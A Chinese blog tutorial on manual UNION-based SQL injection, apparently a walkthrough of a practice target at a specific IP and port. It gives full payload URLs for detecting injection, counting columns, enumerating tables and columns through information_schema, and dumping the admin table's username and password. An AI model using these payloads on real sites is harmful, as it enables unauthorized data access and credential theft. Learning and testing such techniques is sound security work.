SQL注入

栏目: 数据库 · 发布时间: 6年前

内容简介:id=1',在1后面加',页面出错id=1 and 1=1正常,id=1 and 1=2,页面出错id=1 and 1='1'正常,id=1 and 1='1'页面出错

判断注入点

id=1',在1后面加',页面出错

id=1 and 1=1正常,id=1 and 1=2,页面出错

id=1 and 1='1'正常,id=1 and 1='1'页面出错

注:通过构造错误的语句,根据返回结果来判断是否存在注入点

手动注入

  • 判断字段数
    id =1 order by x,x=1,2,3,4,·······,按第1,2,3,4,······列进行排序
  • 判断回显点
    union select 1,2,3,4,5,6,7,8,9,10,11 from admin,1,2,3,4...,这里的几个数字纯粹是凑数的, 凑够和union关键字前面的那个表的字段数一样 ,不然没法拼接成一个表。在 sql 注入的时候,在将相应位置替换成你想获得的数据,查询结果后面就会显示出来;效果是from当前字段对应的服务器端的一张表。权限肯定有限制,所以 要看返回的数字才能确定哪一列可以回显到客户端 ,而不是随便哪一列都能利用的。比如服务器返回3,说明第3列可以回显

查询相关内容

  • 猜表名
    union select 1,2,3,4,5,6,7,8,9,10 from 表名
    如果不报错,则该表存在
  • 猜字段名->查询字段内容
    union select 1,2,3,4,password,6,7,8,9,10 from 表名
    如果不报错,则该字段存在

实战

目标链接: http://120.203.13.75 :6815/index.php

  • 找注入点:

    http://120.203.13.75:6815/index.php?id=1 and 1=2
  • 判断字段数

    http://120.203.13.75:6815/index.php?id=1 order by 2

    1、2均正常显示,3的时候出现异常,则当前表的字段数为2

  • 判断回显点

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,2

    SQL注入

  • 查相关内容(一定要在回显点处查看!)

    查数据库名

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,database()

    SQL注入

    查数据库版本

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,version()

    SQL注入

    查表名

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,table_name from information_schema.tables where table_schema=database() limit 0,1

    SQL注入

    查字段名

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 0,1

    SQL注入

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 1,1

    SQL注入

    http://120.203.13.75:6815/index.php?id=1 and 1=2 union select 1,column_name from information_schema.columns where table_schema=database() and table_name='admin' limit 2,1

    SQL注入

    查出 admin 表里 有 id username password 三个字段

    查询字段内容

    构造

    ?id=1 and 1=2 union select 1,username from admin  limit 0,1

    SQL注入

    构造

    ?id=1 and 1=2 union select 1,password from admin  limit 1,1

    SQL注入

    limit 1,1 没有回显,说明只有一个用户

    构造

    ?id=1 and 1=2 union select 1,password from admin  limit 0,1

    SQL注入

    如此,得到了管理员账号和密码


以上就是本文的全部内容,希望对大家的学习有所帮助,也希望大家多多支持 码农网

查看所有标签

猜你喜欢:

本站部分资源来源于网络,本站转载出于传递更多信息之目的,版权归原作者或者来源机构所有,如转载稿涉及版权问题,请联系我们

一路编程

一路编程

史蒂夫·富特 (Steven Foote) / 佟达 / 电子工业出版社 / 2017-1-1 / CNY 65.00

《一路编程》是一本编程入门书籍,然而,如果以书中所讲内容作为入门标准,估计十有八九的在职程序员都不能算已入门。现代软件开发,已经不仅仅是写出正确的代码这么简单,环境、依赖、构建、版本、测试及文档,每一项都对软件是否成功交付起到至关重要的作用,这些都是每一个程序员在开发软件过程中必备的技能。《一路编程》对于上述的每一种技能都做了简洁而精练的介绍,以满足最基本的日常软件开发。换句话说,《一路编程》实际......一起来看看 《一路编程》 这本书的介绍吧!

CSS 压缩/解压工具
CSS 压缩/解压工具

在线压缩/解压 CSS 代码

XML、JSON 在线转换
XML、JSON 在线转换

在线XML、JSON转换工具

Markdown 在线编辑器
Markdown 在线编辑器

Markdown 在线编辑器